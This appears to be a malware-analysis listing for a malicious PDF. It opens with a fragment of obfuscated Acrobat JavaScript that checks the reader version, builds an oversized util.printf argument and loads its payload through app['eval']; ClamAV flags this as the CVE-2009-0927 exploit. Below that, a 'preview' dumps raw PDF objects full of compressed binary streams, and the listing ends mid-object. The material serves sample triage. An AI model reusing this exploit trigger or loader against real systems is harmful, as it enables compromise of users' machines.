app;zkJcGjjF0[\"doc\"][\"Collab\"][\"getIcon\"](tsGQ5lRXX);vFp16ohgjX = 1;}else{vFp16ohgjX = 1;}}catch(e){vFp16ohgjX = 1;}if(vFp16ohgjX == 1){if(qZbpL6A4 == 8.102 || qZbpL6A4 == 7.1){cI0ZIhIXc(1);var eM1GFaEh = \"12999999999999999999\";for(a7OUEohX = 0; a7OUEohX < 276; a7OUEohX++){eM1GFaEh += \"8\";}var dBuIuB2lL = util;dBuIuB2lL[\"printf\"](\"E000f\", eM1GFaEh);}}}}app.tQgzaH2xWs = kMa7ScnUN;pDGMEz9Ab = app.setTimeOut(\"app.tQgzaH2xWs()\", 10);';this.aP8WLvtql=30574;function kdfijC2vl5(b7dSkmfjGf,nXCfF4je){return false;}function eouHVJaqU(vjeGnJYx){return vjeGnJYx;}var diiH1sBFC = xRbxIKG2Fh.replace(/[]/g, '');iMdKrY2CxZ="tFs6Bl8kxA";qr9SOPPvq=false;var kvD4E09GQ=new Array('gphvRem5E1','i1US5n4s','jZrMLXAa0');var brkQZv4D = 'eval';app[brkQZv4D](diiH1sBFC);var lbLFdNd7r=new Array('pVfnTVos','dlhO4OvBI','fSZsSgA5H');function gEqlgxELr(){return false;}function kLf9pm3V2r(){return false;}
|
|||
generic_stage_recovery_009.js |
deobfuscated-js | generic stage recovery null-collapse -> split-literal-normalize -> percent-decode from raw PDF metadata at offset 0x0 | 29472 bytes |
SHA-256: b3a990b97ad0a3722bf436a5e399d026bbcf57a6ce63e84be6bc4f157799f11b |
|||
|
Detection
ClamAV:
Pdf.Exploit.CVE_2009_0927-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
%PDF-1.7
3 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 1464>>
stream
x��Yێ�6 |�W�c��X����i.H��H�@Q y�DJ�-�
)�V�� �%Kg�n�F5 _ J �sfΐ�'�5 ��� �>�C�xͣ�=���W ��d>�E�� �/_O.��Hӳ�lˋ�X��� �d��z�&� � �ޤxa����3p����'A|��C� � ��� �t�,V����K����+�ԯ�q�7��� � �qy��v��6�3 ;��F�y�9��f�a� x�fa�0��=���w� �܌>���-D�wA �M�n�`�d8���k|����<�� 9����K�r � �?F��p��s#Z�z �Ry F 醗f�Y�F�Σ�� ���>�s �g. ������A>{�\
Y� Y�� {�����Pd�u�� �L
(�bhM7B��8�]�Z)��X�G�u��误 ��ҵ����K {R��� �R9d�u��� ]�l_V�E��{ �
������+�NյH�{�xQ9��o �I � ��� U�� m�� ��o%��~����g>K�QFbPF��D�$��xV��l��Q��Eх({FW;9-ڈ � � �^B�Zzd��pBj_Aԗ� 7)3-�� ����`�Y[ �è &�K�+�%�`6�uYuPF5 m ��� N� � ���� �2b�� iY�pu�lh�S��oI
��B�j��Rj?b'<e�|�U( S��M�X Z*3)� �t g1jf6˘zO`��X~� �= � 9�bt�ts�0�F�Z� ߄��F8"� ��2���-c��W�� ]E4�P )L Z�hE͌4���r� � P] � �G�Q � ��T�VK�ŵ�(�kX��^�� +w�i�� �� T
�]�Z1�*T�o�q �� l{idP$��t=��t�R�Q�<<�jOA�O˶�m HT m{?i��#�|�)9;����g��!���mĥ����1l-S��� r ���X38��2��L�L�# ��S��3��J �bg�)KƱ� NhR� �0\�� � Z�����I�� � �YT��*� ��[��RV�_OY�I�FĹu<- �;5 � �x�j���kK g�a��o߈�j�o �IQG�9e� П�Z �b�ȭ� XD����ܚe��@3+)քb Ħ/
���@���� NdR� ž5<H���{. Y �AÅ�
P c�phS�� v�
e��� 7 -5�F�,yt� ? pı�^�jH�� �&�}�� )��)f U�Wc���Y �% ������."� uJ��@ݻ��0"> qf�u !mX�J5!�%��@�����8-���g���xğ��� �I �L�rR�iĝ � v (봴l< �e�G "Xw��Q�)3)�A��~pbS�9� pD� a =U�� � �m�U�9�=w�}1 5 {�I!GT�ƚP!iLr� Y�vOɬ=䨦u�iD���ѱݙ� � Y X �+�l �� mĭ� �VXo�4%� #W�C�w� mI���x }v��"D� ���ͽ�$gˇ]�۟a��DL֛��@�I�w� ��O�� � =� ��� ���}
endstream
endobj
5 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 6 0 R>>
endobj
6 0 obj
<</Filter /FlateDecode /Length 1408>>
stream
x��YMs�6 ��W�=� %����s�I���3�N& ��HH ��h��w!' \+v�m=CˢIa��۷˧i�X�� oxl�� _
�x��� x�r�t�L��������$�t���y� �e�<��,Y̰Z��t��Ɠ�)�[���} ^���� >c�K�7~� ��t�JfgX��d��E��?To�ݽtR�� o��_W� �����cu~�,��+ ۿUF�u�5��z�~� xl'a��z1����_}�� ���'p�����Έc�N�s�X, ���� 0yw�&O��ĩ� �K� Ӑ�C�
�e J�J-��F� ?;4�7�t���# �,��Z .ze�UY��#W�Dc}�O��� Ϗ�ma YSZ��fC0�� ��Pm�gv/�Y'QJ] ���
�
o
��.�p�x|�� n)���Lبˉ�Q|� K�
i M� l �����n�ވC���� u3&��� �(�uU([C� ���8��e L�(nm�= %�M��� +� � w�K���QA���� IĨ �f� '� ��[U@�C�Y�U�7Ĥ!�n�C��P ��=O�,� 9�:� �oT� �ڊhP��� w�j;�Qɢ��� 2-�$� � ��,�N�"��� �� ��nG� q�k�}�� O�c�3Gj�R� ��#�Z'�M8�DˆՅ Ye �`� �bM;@�֍ { 1,�\ ��{����@r�l��+\]����Qo,[�^�]W�� %k�R�O[n��%�Sz�x�#z Z*�A�m ��� Ze �xk�� |��aQN|/ C�Ѷ�
� b 6�p�Z ����� � Z�ج��9���
`ʡ� �� �P� �5 ~�� �( �Ԓl8��bT� {i��b�kd ��pzbbu�j�dI� �A���6m��G[)W� y�B }a�f i��-o ��-����nQ�sE��: �](_� ;1&� �k��N�m �Vm ���Ez�?}ׄ�� qĿ�^��� �/2 +՞�� � $d�oX�Q G� � +Q�ȶN�<��� � {� ���{7`��n�ٺCW���;qe-6�ը����2ȶS#�7� 5k!�� R��-c�+�S���6 � �t��^�
�5�ǸQ�G�;Z ��c+�A2�]=b�C-¨�"� � � ��8�g���6@���P�rm� @�8���<�E�Ȁ�'�ͭh��hq��3�}���u5�<Y 3&��
5�����~�Op��Q1GL�%�|.ؓ�}x^ �>g _ 8��� ¨�#F�AE�5�"Y ��Y��i�E.C^E?n #�<�� }>���O��7���^� �����d8 ��2 �NZ�Q��oF �_ MP�e 2\�[m�T�
9~$�6 !w��w��x �� �
;��A�p ����{� '�� w �*�;&dL� �nY���o R�� �7f�u2_ G��o� �� ���{�t���|�ЈRb�'LM�� ��' ]L��
endstream
endobj
7 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 8 0 R>>
endobj
8 0 obj
<</Filter /FlateDecode /Length 1469>>
stream
x��Y�n�8 |�W����K}���� ],� X,�>P -1�H� �(_�C'���I�� ۴l �93gHO�� =�x�� _�����W5yq�go昭�� �[�>�|�>8O 1�-�� ?4�r��N�|�-�X�g�t����w3���x�� x���O �
S�:���U���V�l� ��2��pZ��o� kwo��� ��{~�͌� �� � �ON���jFc� ��8o2�4�,�O8 ��I� �^N� ��w߂��� �OW �9q�6��
�K�sy�Z�3& �X�� ��@]� 9�����Ok� �� Ep9���� (th��
����@!|'�[ :��"� mp^fx}����� � �hd�V� ��)��<� ��a�l��v6Tu6*�� ��Zr�jh=�" ��h! eY �U0A�B� { #Y� \�0Fd�G
g�;C�m�DŽ�:9@ֲ� 6%zi� m _8��ҏ �����/�%��l�CQsn�H ��Ee�[WB��CTF� > 7� 4��( ��`ƍWB 'Jż�� ��0�~7�� �Zl� 8 �"~1x � �Zo�:ՠp�K Z ��w�0*�.�2�^U5Yr�+� ���B�A����-���
cބ�V� /����"� �E�\��� 6�D��/�'�E�-aw��P�=z�� 9���� �
� V%#/M�X�bM�9 � � z��i�rjP�Ή� $7%)�W�t{1m�; �MWS �mШ�`p �KU� ^�Q�t��oW� � .��n f?;�
C� :0 ]��u < ي�#�Ϫ�fT� ['� �<�� ��J�pz) ��=�jH�͆���Y e,# �t��]� ypƿQQ'$�E䠦�i�);*��m�E �ZK�kC�z� �5��p������V��E� �2ת w��J�V_��·�`�� vG� �I<O���p���:\�U)�v� �¸ �<퓮m �d\p )�� �Ӆ 8��aj yp��P��8�-�/ׂ�dݨ��<!Dc���u���)���6 w�O.t3*�ER� � \ ���� �^R �� oR�?dl(���!�1*� Wn��� ��N1n��
?��J�2�X�-� OQ7�������W�H��� �,
U���M ��B���� ?3&�yB��6�,4yt��(N�؆Z|��T�nih�V��� �77!Q
� ���;�!SC��w���o � � ��GE��g+zs�U� 0;%➃�(����Ҳi ������J�yB��w �)�z� �}�X �ر��� �� �?+]'^ 7&mT��&'z��} 2`�mr�p� u�;K��E���� ���� w���cJSَZ�QA���w�� ��c��ڱ�kGE�4�7��[
�Ŧς� ��m�e�j� � C� (!�o�����gT�)� ,Q**�A y���9� pB�o9K�"�/J�p �-շ�;?n�{Ò��W��c!ZZ���TcV����|�� ����
f��9@� '��M�X Ư^�s�Gb���_ f�l}�cB+*� �1�ɺ~�`}�/�l��
endstream
endobj
9 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 10 0 R>>
endobj
10 0 obj
<</Filter /FlateDecode /Length 1465>>
stream
x��Y�n�6 |߯���Eً��Ǧ� A����� �@I\�^��Iъ�� ��,m��K� ��� ��3g��N�� �x�� ?qWr{ͭ�<?óWs�V�t��-^�M.� �G 1�-��)o�b��V�8�g�9��Y6��h��� / ���} ^���� .0��;�m >g�Zg� lf�l��Y�����ٽ�R�� go��� � �/#. X��f����� a�h�i�Yb�pn�0@ ��<|���7W߁��� ��� �9q�6�� -�K�sy��� L���$���C? ���_N�����TU��Z� �wnD�*䪓%D�v �Ъ�9W��W ~7� �� NI~,� ͑��� /"ľ5hD! �Z �j�^� j ��MA�*��z;b;* 2��z� ��ۤpg �E�� ��c�M_3��
*uI|�p CM�bD+�+� �qmĥ���K�
�q���1%��� �����F��َ �� :k|�MxD%ZR�k=�7{�X�eI�� @?(��B���K�J� WY*��I�2���3�I *��[9� ��c³p���P {~B�%����'%�a_��m�2��e 5oCi}Š[�ˤ�#a��rxW+j) ;�Kآ� :e�C�rN�픥��{�q�?� /z���B>�
R�#.M� %E i칰�An��A1 NM�K��mG�A�I�,#��-,ZiU �tD^ �@��0L��33 � SM�0-#��a4�FU Sx��!= ��Dr�j$L) �
��:�x��5f�$�&v5�wN�I!/��i� ������ ɶ�鈎���k�P� � �sn�Z��Q���3�#��IQGJڝ�� �� ��\ӏ�.Ǵ+ �O�5"�L��IY2qo� ��^(s���Q
:x��ޔ �w���3]��_(� �u� �I$ +J �H� ~���`&wbt( �v��0ӫ68d��p60 -_�B��d%�|W1�4L7�� Ж�x�@�W*���cM1����l�o-�p��I��HP�� <^��>p�H]� W�$� �o+l��^!PPlV��� ʽ� ��G� ���gI����W�\d��N�������q#�G��F� �� eń�7��`e�K�:��`��3|��� �j)�J �Է�Ƥ�# u�ĸ���+\ o �Q0��O�sR ." ~�_&�5m ��U� @��� ���� � s��� Y R.ݤ����~�1唐瑪"�Gl��� _���)�� �^�x�h.�N �y$��Z/O3Q0�}= K�� W��v;ƶ� p$��� 4(*ٔ!�r7�\8�)�C��̘�*��]0)�HF��-� �s� ���: ��G<8)�ửo�u1���uP�iK�Y��ohB<�\� �͢��� ����H@�q�:����B$jP�,�Y~���)! 6mB�=ި��O �C�� ARԑ~.J��<x� �3
j�T "���f�NC�
��{-��/��i�� {��I�9n� *��*� � � ���'� B� � F ~�� �C���kh�? ��&�h1�d��,:QI�� W8�� ��'� Ɏ�
endstream
endobj
11 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 12 0 R>>
endobj
12 0 obj
<</Filter /FlateDecode /Length 1463>>
stream
x��YMs�6 ��W�=�ѷ�c�|L2�t�x���� $ � M��,d'�c)�E<�eR��x���%4MV ��5� >|�K��%�r�� O^�1['�). <��|�zq \�l�H �i��:Y_`9OVsl6�d:GV�ɫ � ���} ��z��� >aʡ�{ m ~�l�I�Klg�d��e� �To�ٿ�R�� ����_f� ��̸Z`sq���736fx� ��
�&� � '� �����'�{y;� ��� 8��@dx�ı�&� �X� �s����}d�'r{�ҏ �6���O�1Nn�� QhӢ�� b/�� M�Ai��\���ʿW���k��߀T�
��m� ��
�� ���`/�`�� Z��o69 ��c�� ';��d{d� j��)�-��t�DE8�C�Fر�B�� �� Ҿ�a� N }P
A�L�E+� E�pXէ �he���c����� A1tV �\k��� ���n��A�$�U +3�J��u &7ֱ��A"5Vr�俙h� ��@�L:t Q ��N�}\� s^eLѠr �l:�D��)MS���}�RiYs " D.q�6�]�E��� G�:*��3ۮb�9����A* �U�I��Ewm <�%� �| Jc� ]O6���L�j�cT� ������)�Q3���`�U羁y5�d �� �{�Gע�\�Nr�{U�� Z j)�{��`T���6 ��5*J� � �%xM� <-� Y � ��m� ê��
���EA�iM �+b{�E�� �����g^�>� �h�� ��%˂BvP %���[ �{�S)v����3�Nz.�,̻6�ੰ��m� �n�-A��د ��[X�Ҫ�! xg{_�"��� � ��!��^I�KZ(F�n / %�@� �i .H��)�m�^Ƕ r@��87 5�/E }ͺ�RZR�%�WR �4^��'؉,ܘ��x� � Ϣ[�m�=t,��:\��]V�&z: � �U?ǿ, ڝ�/ d]�'0�# ��a_������
9t�tQQ�� 8�{:�&���wbt>� ]� �U52+ # 7> g2�U���� ����JK � �Hjg�{n�2�K�>� �c��[s �" ��R�R羖$ �N8�f#e\�� xp�D��I� &�ۢ_� Z �A Ƹx ��G�h
k�����֤6 � s���Y��8`�)OD H7 7h 3� �����S檫 sC�ȵ���1�� ^Ⱥ� s ���!� � s{ΑD
�<`� ��*&8���.��T�Gq� ��p��ą T�I ���yhg�
���Y: �0�����Ʊ���s�%�� ?Ǯ� J��+-�-��!�l�Lw��
� 7==*� �n��-)+} ��� UA�� 1��nT�2��,�N#��א>Ҧ��ϳ�(g,J�J��oD���;e��� N�ْ�
7`й� Tү!��4 V�mL���I�:T�25����Jl7t3%
`�G%.�O�4 �r� ^��o �'_v�g�ѹ �3����d����9�;�߉�f� �m���� �
Wx�� ���-��gL�f
endstream
endobj
13 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 14 0 R>>
endobj
14 0 obj
<</Filter /FlateDecode /Length 1433>>
stream
x��XMo�8 ��W�q��Zv����
�X�
�X =P"-ѢH� �(�~ �$f '�v� �
��83���L�Ŋ �� �-}�� �� �j��^��Q�̦S:�Л�ɷۛ��&��<���)-���Nf�bF�U�MgT���}N�
}�?>'��}|�$�o4���w[ ~'_��� ��E6[�9�/�� �i�Z!~�J�g�� � �?;.�:=͖���� � a�h�i�^�0� ����A؝O ��w��٭>��� "�; ��:�O��� �\�|W��& �s�#�=r�G u���4� '�mC}G5��;�2z� 5%����.Gbvd:;����g~��Y�FSg�n�� #9� �Ip���h
�"g�!}E��vL�.?�; �P$Fڠ�-��*�\ � n ƺ>�7�;�k� n}�FjN����ji��>y�S�^� @o�B~ � �4T��aח�"�� ����Ʌ#��&d� S�*��ِBٓ���XQ K�!�dF��%�^(Œ ���T�Zm��6��O���d X�� )$ �s#�ʷ����+��R*A� �����<� c4�l�t�)3 �Z#pr �9�j� �X*��z�� ]�A�F�l���H�EZ -# �� �Tc�|K�� D. ��4�C`�@,�k/ ��� �"� ���-U�)�."�(
����Ah>"r��"� �� ���f��
�(��4⎪5�rY��X �rR���#�U�*�85 �F�"� ח�zN������@F.]�� �& `�P���k ��1)ވs� �'� S�'jx AG� �V� Q� �`�F ����MaP%pX�Z4i!G��2 u�B��ޗ �!y�R�G�nF�# �� |�
�� "�.� Y\ �& �.HUG2*Z�����x � �hQ�.��D�:n0���ʘ� � �:�C�]=*�rk,O 4�� /Ұ+c@tۂZe �~�]Hj �LA�� W�!)�I5��� e�]�J�qć�{ �f ھ Q�7�xG
�� i!��<�{cD��$E��!� # � W�#t�- s%�)p ����I z Q��A!�!��ըG�)<��g�*Β:�yD$k����Z���"��wlt�JE �
p.c0, V ���!�O�9"� =�C�wMtkg҆9bXl�B� i �Y �X� u�(k��[y V q% q,) �"z� v!�� m| �� �J֡�o�
Ɉ|�Тe��P�\ �J�8f�t� Ů� �@�c��$� �u�X�5�X)�b�ᡁI
:�� �Iגl � G $��� ͓ �'����E���3��1��wb N i�O� ����0
z`���b�)LR�Q9�� �����Z�*��b�_֭���b� �GM��+ 2HU�e�^mXb��G5}����A&Xێ� � �� ��I��p��^� tĖ�×^��ֻЉw� ���I l���:���y wr3��) ��WL�g�l�8 ��_�������a⟯�����c(�%�@v�s���{�/��
endstream
endobj
15 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 16 0 R>>
endobj
16 0 obj
<</Filter /FlateDecode /Length 1495>>
stream
x��Y]o�6 }��� ������ �� -: m Cч+�� K�BJV�_�C;���MҮ\ ű,�G��{$����z �;l �� ^ �7؊ыsz�zJ�E2 �yN��G�_wN��4�̒� ��4_$�5�M�����I2�RV�� zi��~��p���� A\� ����ڂ�=��2���j2O� : ����1��V�߾��;|��ǀ�ˌ� -��d��ϨM�^i��
� '�9�#L��b�'���o�����#8��O������N�c�J&k�i>G9��+�D� ��䉵=��G u���_�]���q]M�Q^ J+.)3�I� �V�悊��*Y8 ׂz��@)W5�~� -9 �N��σ<;@ޔ�Q��p ���lɵ&�PVʞ����¹ �U�H� `�g;�+�;A�)�P �ȲP�$��J'��� �#������b��ƪ�̖X )b�]� xS��@�_�5�u��J� ���ׯ([�Z�LM� 2�
�� {*�M� ��� +��U\�� h��� t��h:[�% �s�~�IPS ���� � U� �0"W)xZ��tԳ8eD? p������W�RVuu��١� �7�2�v�PVv�\) �%Y�#v��&����M r���]� � ��� �i�j� ����+I�I�[htoLT���NB{�� �&�I �ހ�[� I_l) Ƨx�Ƅ; D���.��. z'{Y� 9� � ��� ���fQy� 8 ��m �J��V; �֖@F�v0��k=E?�: �2� Y�Pؚ/�1��3^e��d n|��% ����B W2|i0��,hp�� �� z� ��Z� �J{u� R| ;�k� ���U-� |�
9 ��A e��̰�,�o͠�V)E�E�I�O�ہT���Φ�� �]�|�[� �" T�w��XT��c�2@�)g�#ٖ�=��B?!#� "Ik�- �Iz/L r��6*�@z[S�� i�~ O��^�`n+1 �mxQ ��}��9�8�h)�o� Y�7 � �Z0%ϣ" ����!N�
�G�. g JE�塨�C������Cy�W�
M�� I(*�@}NAA�y!;���*��dm��w ��xg��|ޢ] -l�QA����� n
O�!.�0f �w�� �� `�� �n�m`�-u �o�m說� QA �; �d ��1���5�0 o N�p���, TTȁ�.:�.� �,�͝��pݣP�² #B��;}�bĂ}Ԣ0 hĂRe�F�i W*,i� ��-� j�A�� d� �l F-w�a��Q ;
��X� �<����� ��� ��3!�F�zJ����s'�D ��t��j��Ԟ��+J2y��6 �{i'*�0)ބ�� ��7qh �ȓ@o���]m���P� Uc�@c�Q�~�� �=/���%��ѷW쾟m�� t��P�*`�� Y��F � � �e�^)w���ui�Z B�ޛI7�&�� G�&*�@e� � c _��J��Q� (�[��~ @ �G��4&�O�����?]%��� ���� �@Y�+��c�J�7 = .$-�9V*8� x0� ς��
endstream
endobj
17 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 18 0 R>>
endobj
18 0 obj
<</Filter /FlateDecode /Length 1483>>
stream
x��Y�n�8 |�W����K|���� ],� X,�>P %1�D� +����nj�R�� D�M����̜!=M�k��� �K|� �� ^��� ���c�J�S\ xu1���8� 1�-��9?4�r���q6O�s�׳d:G���� ^j|8|| �����I W�����ݔ���V�d~��l��W���������F�߿�� ��vĻ��ˈ� ����js ���{��0n4�4�,�O8��I ��O ~��7_{߁��� �� � �8V�dv� �%ù�}]� & ���#k�H�� ���/�a��q�� ݢ3��"�;�rlō�(�iP�l+ ��:dF5]�w��5�Xp9
l%zTB�GV�� �8 ��� �j�E*KX�4 N�i� F;��U���"F�Ɨ �Qm�T ��J�-R��vTس#la����� W9l�u��W-.� {元�� � |^ ݄)h_V�E���uu~��\ �Dj� T�%�j 캆 M30-�(��c�� ~� �\ A�- i����Y���LG�L �u� � �`��-�V# Y��Oݺ �d�̛tT� �j�8�� ��7|(��
n� ?b
9� v"�A獕��kUK�\r�%:�� oĴT �h}�MI�K���t�pw� �Q � "�B0�m� �� :�) �Zrf� 7� �*�
�j3���䓠X5i��� � �`�n/Qֺ��Gi8�S z�� 5�n��1�.#� � 4��,���*�nΘ��ZI�9�/� =D#[J]�Q�_�TiJ�� � �0��n ��0C{��� ������0"W�J��a ��T �f*�֛ i�tw�0*�v�KlY5 � f��9UCf�t�t �k ��n㋂�R�s�>Wn��F�{AY�� *�"� ���K&i�"����>��L2]�� �� �Ƞ��iJ�v˗��>*�p�� X/(P���1~�/ A�:& o"g��an�Ȗ��t�+�&x�%� �Ĩ��,�\����J�S� �k6���I����"�����[α �
���YD� �e�� �� � �> ��G rD4Jni�툷 �H)�F��$�Y���vd�68 %�� mT� �"+�أ��� �� � A�jƌ��EA�"Pް���� X�R�%KEZ+zsz�1a/" =a�r>�}��� �Y.D^hT� �b�U��X� 5Yػ t{� �V�K�E�%����P2��� RĒ'\SG�� ��5.��|O .�& ���F-s����� ���[V ߅4MM�S �K *.ɗ�+���a�[� �yD+:�N �����g�2х � �r��{ 1*ވT'�
�u��Z ��A\}z¿� �a�E�W jl _،� �&�?k � ��8"�= �8�q� �9ypD�]_0&�YD��� 5B�� ��M|���ۚ� ��eW`'|��T�Q�GԸo*�Sm�\4
��`<u� * ��ݨ�#f�R��.wM�A<�5�s�_~�2� t�l��{��� �� �jԤ�h�= p�"�6���b� �#�_q&?�$���H��2�ȟ �z ~ǘm��ן1:QJl��K ��'��'� p���
endstream
endobj
19 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 20 0 R>>
endobj
20 0 obj
<</Filter /FlateDecode /Length 1465>>
stream
x���Ko�6 ���+β�(��<�l�H��Hb�(�,(���H��"˿���8�S�I� ��#KÏ��syęg�-F���%>~�K�� �z�� O^.��d�9.*���}�vr ��b��V�i��&ۜ�l����n �|��œ� <�xws�
�����{!>c�K�G�]
~�b�͖g�-��r�� j�Z� ��� .���oG< �7#�W؞�g��͈Ǝo��a�h�y�[c�q ��0@ �����߿�z� ��� �o ޖ�lq� �5ù�}�� �w L�DnO���@}M�z � ��[�&s�v(!
Uz��p�T�A'��
>�ى��w@�;�_ :�!}��B+��p1*�Pu���Bu ����-��(��m�g��Dn�D-u� wq�[4R�'\
o
ζ}�ډ���%FUJ iz7�� F�猵� �ʥ��v(��v)�7�w�N� D�\�!d���h`m�aT�� �r���Ab_0 !�W X)�� %����;4�O
��� �� !%��M$� �e�;'� ��bU���� �p- � N ސKC2�l|̱ ��;�1����M �HT�PUԌ� ���!�=r���2�0���!#J7Ԟ�ʔȕ�y�(�: {� l ;K���LR�H^����<� ^ ��Lz�~�m� E`����*�= �y� �> ezԢ�e�\���ZGꪵ0L��(�� �&��`�bb �. q�b' B ���L�`-�N�� |/� I�y )�Wk� �&F1� ����Z�C_�K5\_S�%9��oE��.�ڋ+�% �d�j.H0&4y� [;2~�0lj��yɶ��J�( �Uiƾ�2m�ZGZ�V\XAY~��xx %'�C[}� ����� ! T4��� �1� N�
r��?�p �Kԇ�j�.p�d �)Y� _��k� ���d��0ެU6; )y �� z���,RZ��T� E�R�e ����p���@�!���]9s��%Ŏ��9բp�w � T �[�!Sd�<�;��V� � ;U��Б�������Y��cg�#� R�&D�=�&�Ǟ� ��� F�{��B���nd��l ������܂�z��� �'%�*��_������9��V*Z�B ���{�� v�\��a^EB \�+>J$-�U��G > 'v�sMA]95D�5%�]!�O
3h}c�� n�r�
�v���@'�Չ�I�*��� �+)u���� ����p�H'�ػ� �o�X��{����l .rnG��{� �PR�,#�p�-� �� � �҂ }"���\% �Wik" M�֊ЈE ���6)�"���v��Â��U�EU cs- ���+T
&�:���� 9���h.*>; A@> ��i���{�Z� t�{�"-t�&� o�yE]����, F
1�"z/���nUR�HJ�� ;2��Ic ��U� �('�X�$W�L�}����_k�� /"!��k����= ���N)�#��f
�{i���KUӓء�* Glv��� a�w ��n�r���w��7o�^�=����7 �]��� C'8�s<a��y��f��O�郞
endstream
endobj
21 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 22 0 R>>
endobj
22 0 obj
<</Filter /FlateDecode /Length 1501>>
stream
x��Y�r�6 |�W�c���bI�c�\&�t:I<��d� � h� - } � ��|iZT3ԅ���9g�,�q6_b� �y\��7�H oy����x�f��" �q����������$&�Y6;�Ƙ/�� N��|��r���( �x7�+��7?��� ���Q � ���gW���,��� ��y6]�\��/� k�o�R�~��{��n����͈� �gg���fDc� ڨ0n4�8;�c q �0@ ]� ���������>���
D�wJ ��lr� �9�9��\�3F ���� 9����M�| ҿ��g�X�� ��T �%�F (��
^��c %��-�5 ��6�{5� j� ��P K� �w��[:�[" 8v#d��{f���9�u � _ ��UD ���ck�B�(�I O�� � 899A��
���d��k� >�/{�1� 2�� Jt[ll�y&��l�n`7) /�����J2����R8�G� 3T�t��,U���-�-L�0T��_� V���zO�"��K�y��� + ���WY�A#��a
�KK �.GM*x4��-��o��Q /� ��$��E�{��R�Ez���YD�R1G%Z ôZ�Yb� �-c,)���
Y� Y�Y � xM!�(ߡ����WI1G��U�e��"+����
D�X b���o��e� ��͕WI�?��� ��`}A"� ֊ s25 �2��HR N
��(ȉ*-��
O��� k ��E���� ��It�`L?P%� �^B �Z���� ��S�2��`�b��t��#WAv(8� .I����C+ C. =�z - se�z�6� w�
��eE�S�&�Z t�JK� ֔��\�xU. ɒ���m�r�&� :D��k�B��S�B��� +b��� � ��lߺ�����Ơeh��c�W[�*�s�ȯ�Q�Ԫ��O"^�������F>�#yh�-���>ë^a]�ba �X�nK��)@�s�]K���{�b�(�� N> ]�H>�����Z��kPQ h/���- ��ˉZᢗ§� ���J� �� >��ՕNSss�Z�l��I���Ś� ��5�g �CG� �,"Ul�
� ���Bի���E$9j {7����/��5�����a�Kzfv���J
9b�?0v�^ ����#F���n pUۖ@���N�;�����\˙ *m�#. u�͔]�cW, ay �4 2Y \NJ��x�th� �| L��l 䮱z��GO�%RE�\ �����F�1_��15
'Pה�� J�9b�2�k� ē*�K�L4)y� ̾ ��V�T� �F1� ;/ J#��M#�=�HQ�� ( �4c�h�n�qk|� ��w�_a�C{!� �Li�n�����,뛪̊q\ � ǔ�'�Zن�!�uݱ�q��pR �PR� � �M;��v�| ظJ
8��n ,�3�g���.��!� ;�a+��*K��K���n���:�ID����]� � ۇG7l�"����> �=9� y��(7 A�1 о�â֭ �D�vt��� ar{���^��4���[�7 �N�#!Y���'&��rq�x+ �� � M�'��G ����
endstream
endobj
23 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 24 0 R>>
endobj
24 0 obj
<</Filter /FlateDecode /Length 1321>>
stream
x��XMo�F ��W̱�0�d}��|"A�"��� rx$��JK.�K�f~}ge;�l7AҲ H��R;�vfވ�h�A�9�����'��x��Q̞^��� �u4��*Nj���7 ����e���Cs���� �h��f G� �
O^�xn����%8����o���9���ή?'^o�� ��*Z�q���/�[k�/�R�~�� ~���͌�%6���z{3cm���Va�ќ�h�B?� <v�0A�=�=����nG��9�~ �� �,�8��(�D�Պ�\�] |���w ���>r�g u���y��c� ִ �S O�� ٠�n��i�g�� �����tȍEb�Dj]����!-ŷ�� �f)5� �/%��~����O�8>!6��]g�U�
H�TH �X=1y�K�� �^��M����`�[ J<�R�lJ��� �V� �8���e���� U�AR�y¯=�dڗ s�5ז ,y�Lu�� ��� �� �0����� � sh���s�9*��b-�Vtʷ�ŋ���%�uJq4 �z���l�jUɤhGri:� �I� �كBbö*�Q&J� ��� ��D��7ė��wM`g* *��jY��B��� �u�( ��� kY�|Ьh���~?�,�R7� �ȓd$�δ�/ ��� ��X�w
��L�4���|@�Q��j� � �� �O�w��0m$��''�<R�T�.h���ކ��T*��&x[�48{3m G�����SJ�'W VgP���& S��_^SM�K��B�B�ɩ� oT� Դ� �*g;�6J���,x3o s ��p�N�Ь}�� U�� ؑ( � ������� �8V/q 4(5k�
�&C��_b� �K��?šRN�p]�$��b�� ;i�/F�j�5mU #�Z ��w[SN� ��s ���� .�� /��Q���
Ho��� �HQ�U�< � ��-����Ϲ��~n[�E���m%��-rG�"ylW����b��o �� ��KC��N��� i�{� ?�U& =�ܣ��M��^�+�Q�r�"0L��t:/
�Xڝ$�v �-�2� ����HtUP��Gs�L讜�,�8�jʪ�� lf92e'�,w�sT"=��Ѷ'%�r$�S���
�" ���0l �&��+h�� �q!�>�K ƌIQ�Tx�f���.�x{� �$���X�M[��y%� � [ұ �@s� ����@�� ���{1� u�L�ˑ���a:nl;m\Y�S�[0FH��[t��� C ]�a��� k'E< I.�BI ����ג&�fe�P�. JQ śR4]�Ž�3)�H��j&���+�fJ
� '�� ��Y����#���_1�� ���g����ӫ����� �l���x mn_�5 �1��4�����o��9P
endstream
endobj
1 0 obj
<</Type /Pages
/Kids [
3 0 R
5 0 R
7 0 R
9 0 R
11 0 R
13 0 R
15 0 R
17 0 R
19 0 R
